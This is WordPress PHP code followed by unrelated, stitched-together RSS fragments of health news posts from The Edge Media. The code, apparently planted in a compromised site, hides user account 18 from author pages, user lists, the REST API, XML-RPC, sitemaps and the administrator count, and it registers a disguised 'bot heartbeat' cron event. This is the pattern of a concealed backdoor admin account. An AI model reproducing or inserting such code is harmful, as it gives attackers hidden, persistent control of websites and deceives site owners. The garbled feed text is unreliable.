add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 18;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 18 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 18;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 18;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
The post World Lung Cancer Day 2021 appeared first on The Edge Media.
]]>The disease is the second most common form of cancer across the globe and is one of the major causes of death among men and women.
The main purpose of the day is to sensitise people about the habits and the factors that can lead to lung cancer. Many people who volunteer with various NGOs and other organisations also try to make people aware of the ways in which they can look out for the early signs of the disease and get treatment in time. In many cases, timely treatment has saved the lives of people.
Lung cancer, like any other type of cancer, has the tendency to spread across the body through the lymph system or blood. This can lead to the formation of new tumours inside the body. There is no direct cause of lung cancer, but things like smoking or being exposed to smoke are one of the many major reasons. If a person has a family history of lung cancer, then he or she should be extra cautious.
Some common symptoms of the disease include continuous cough, blood in cough, breathlessness, pain in the back, shoulder, and chest that worsens on coughing, and weight loss. If you have any of these symptoms, it is advisable that you see a doctor at the earliest.
Due to the ongoing coronavirus situation, no seminars or workshops will be conducted in person. However, many NGOs, healthcare groups, and organisations are conducting virtual sessions through which they intend to share preventive measures of lung cancer. Some doctors across the world will also be carrying out sessions that will be aimed at sensitising and making people more aware of the deadly disease.
One of the easiest ways to maintain good lung health is by staying away from the habit of smoking and ensuring regular exercise.
The post World Lung Cancer Day 2021 appeared first on The Edge Media.
]]>The post Five month old baby girl is turning to a stone appeared first on The Edge Media.
]]>Lexi Robins was born on January 31 and seemed like any other normal baby, except she didn’t move her thumb and had bigger toes.
Her concerned parents took her to the doctors. But it took a while before Lexi was diagnosed with a life-limiting disease called Fibrodysplasia Ossificans Progressiva (FOP), which affects just one in two million.
Her X-rays, done in April, revealed that she had bunions on her feet and double-jointed thumbs.
The FOP can lead to bone formation outside skeleton and restrict movement. It is believed to replace muscles and connective tissues, such as tendons and ligaments, with bone. Thus, it is generally perceived that the condition turns a body into stone.
The post Five month old baby girl is turning to a stone appeared first on The Edge Media.
]]>The post White fungus after black fungus now appeared first on The Edge Media.
]]>According to Dr. Kumar, it can be caused to people with low immunity. It can also be caused when someone comes in contact with anything that has the modules of the fungus. It has also been advised that sanitation is very necessary to avoid it. It has covid like symptoms but people test negative to Covid. It can be diagnosed through CT scan or X-ray. It not only affects lungs but other parts such as nails, skin, stomach, kidney, brain, genitals and mouth. According to the doctor, Covid-19 patients are more prone to it since the symptoms and affected organs are similar.
Cases of white fungus have been found in Patna, Bihar and it is more dangerous than black fungus. Just as the Government was notifying people regarding black fungus, white fungus is the new upcoming crisis.
The post White fungus after black fungus now appeared first on The Edge Media.
]]>The post Panic due to mysterious illness in Andhra Pradesh, 1 killed and 300 sick suddenly appeared first on The Edge Media.
]]>The post Panic due to mysterious illness in Andhra Pradesh, 1 killed and 300 sick suddenly appeared first on The Edge Media.
]]>